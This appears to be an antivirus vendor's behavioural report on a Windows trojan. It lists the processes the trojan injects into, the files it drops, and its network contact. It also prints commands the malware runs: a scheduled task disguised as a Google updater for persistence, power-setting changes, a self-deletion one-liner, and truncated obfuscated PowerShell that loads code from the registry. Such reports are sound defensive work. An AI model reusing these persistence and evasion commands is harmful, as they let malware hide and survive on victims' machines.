Trojan.Siggen31.36925

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\googleupdatetaskmachineqc
<SYSTEM32>\tasks\dialersvc32
<SYSTEM32>\tasks\dialersvc64

Malicious functions

Injects code into

the following system processes:

<SYSTEM32>\dialer.exe
<SYSTEM32>\dllhost.exe
<SYSTEM32>\winlogon.exe
<SYSTEM32>\services.exe
<SYSTEM32>\lsass.exe
<SYSTEM32>\lsm.exe
<SYSTEM32>\svchost.exe
<SYSTEM32>\spoolsv.exe
<SYSTEM32>\taskhost.exe
<SYSTEM32>\dwm.exe
%WINDIR%\explorer.exe
<SYSTEM32>\wudfhost.exe
<SYSTEM32>\msiexec.exe
<SYSTEM32>\sppsvc.exe
<SYSTEM32>\taskeng.exe
<SYSTEM32>\conhost.exe
<SYSTEM32>\windowspowershell\v1.0\powershell.exe
<SYSTEM32>\cmd.exe
<SYSTEM32>\powercfg.exe
<SYSTEM32>\schtasks.exe
<SYSTEM32>\wbem\wmic.exe

the following user processes:

firefox.exe
updater.exe

Hooks functions

in browsers

firefox.exe process, advapi32.dll module

Modifies file system

Creates the following files

%APPDATA%\google\chrome\updater.exe
%TEMP%\mbidnhti.tmp
%APPDATA%\google\libs\wr64.sys

Deletes the following files

%TEMP%\mbidnhti.tmp

Substitutes the following files

%TEMP%\mbidnhti.tmp

Deletes itself.

Network activity

Connects to

'co##############e-chains.prod.autograph.services.mozaws.net':443

UDP

DNS ASK co##############e-chains.prod.autograph.services.mozaws.net

Miscellaneous

Creates and executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#eiolkp#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /...
'%APPDATA%\google\chrome\updater.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#ontcqmfz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([Syst...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#rryxdey#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([Syste...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#dnspc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /r...

Executes the following

'<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#ontcqmfz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([Syst...
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
'<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr '%APPDATA%\Google\Chrome\updater.exe'
'<SYSTEM32>\dialer.exe'
'<SYSTEM32>\cmd.exe' /c choice /C Y /N /D Y /T 3 & Del "<Full path to file>"
'<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
'<SYSTEM32>\schtasks.exe' /run /tn GoogleUpdateTaskMachineQC
'<SYSTEM32>\taskeng.exe' {D630F54D-D879-40FB-A6EA-24E0D9415368} S-1-5-21-3691498038-2086406363-2140527554-1000:xsmrgddk\user:Interactive:[1]
'<SYSTEM32>\dllhost.exe' /Processid:{60fe451b-cfe0-4a4c-8110-54b221abab91}
'<SYSTEM32>\cmd.exe' /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "%APPDATA%\Google\Libs\g.log"
'<SYSTEM32>\dialer.exe' tvbnzwfnmkp
'<SYSTEM32>\wbem\wmic.exe' PATH Win32_VideoController GET Name, VideoProcessor
'<SYSTEM32>\dialer.exe' xsivlkogasmpvtyn 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPrOXm4kGtEn/ZgPyjiDYwe/YzPH7ChfYjjL3SVq0j3JZNPh4uasjZ6jVMfcqcRrf+dU4/1NR5ml1cq6Ge1AgPdPa34WEPEC5Y9EAsap7SU61v2cYR30Ic04BtRDD8I7L2omMo/E...
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+...' (with hidden window)
'%APPDATA%\google\chrome\updater.exe' ' (with hidden window)